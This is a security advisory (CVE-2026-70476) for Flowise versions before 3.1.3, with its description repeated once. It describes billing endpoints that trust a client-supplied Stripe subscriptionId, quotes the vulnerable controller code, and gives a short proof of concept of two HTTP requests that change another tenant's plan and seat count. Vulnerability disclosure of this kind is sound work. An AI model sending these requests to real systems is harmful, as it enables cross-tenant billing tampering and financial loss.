CVE-2026-70476

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, several organization billing endpoints in packages/server/src/enterprise/routes/organization.route.ts and packages/server/src/enterprise/controllers/organization.controller.ts accept attacker-controlled Stripe subscriptionId values without verifying that the identifier belongs to the authenticated user's organization. An authenticated attacker can perform unauthorized Stripe subscription operations on other tenants, including changing subscription plans or modifying seat quantities, resulting in financial impact and service disruption. This issue is fixed in 3.1.3.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, several organization billing endpoints in packages/server/src/enterprise/routes/organization.route.ts and packages/server/src/enterprise/controllers/organization.controller.ts accept attacker-controlled Stripe subscriptionId values without verifying that the identifier belongs to the authenticated user's organization. An authenticated attacker can perform unauthorized Stripe subscription operations on other tenants, including changing subscription plans or modifying seat quantities, resulting in financial impact and service disruption. This issue is fixed in 3.1.3.

### Summary Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId. This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption. ### Details Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context. **File** packages/server/src/enterprise/routes/organization.route.ts Affected routes: ```typescript router.post('/update-additional-seats', organizationController.updateAdditionalSeats) router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan) updateSubscriptionPlan ``` **File** packages/server/src/enterprise/controllers/organization.controller.ts ```typescript public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) { const { subscriptionId, newPlanId, prorationDate } = req.body const identityManager = getRunningExpressApp().identityManager const result = await identityManager.updateSubscriptionPlan( req, subscriptionId, newPlanId, prorationDate ) return res.status(StatusCodes.OK).json(result) } ``` The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer. Missing validation: subscriptionId belongs to req.user.activeOrganization updateAdditionalSeats ```typescript public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) { const { subscriptionId, quantity, prorationDate } = req.body const identityManager = getRunningExpressApp().identityManager const result = await identityManager.updateAdditionalSeats( subscriptionId, quantity, prorationDate ) return res.status(StatusCodes.OK).json(result) } ``` Again, the subscriptionId is taken directly from the request body without verifying ownership. ### PoC Step 1 - Obtain victim subscriptionId This identifier may be obtained via the organization read endpoint or other exposed references. Example: sub_YYYYYYYYYYYY Step 2 - Modify victim subscription ```http POST /api/v1/organization/update-subscription-plan Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json { "subscriptionId": "sub_YYYYYYYYYYYY", "newPlanId": "free_plan_id", "prorationDate": 1735689600 } ``` Step 3 - Change seat quantity ```http POST /api/v1/organization/update-additional-seats Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json { "subscriptionId": "sub_YYYYYYYYYYYY", "quantity": 0, "prorationDate": 1735689600 } ``` ### Impact An authenticated attacker can manipulate the Stripe subscription of other organizations. Possible consequences include: - Unauthorized subscription upgrades to higher-priced plans - Manipulation of paid seat quantities leading to unintended charges - Service disruption through plan downgrades Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.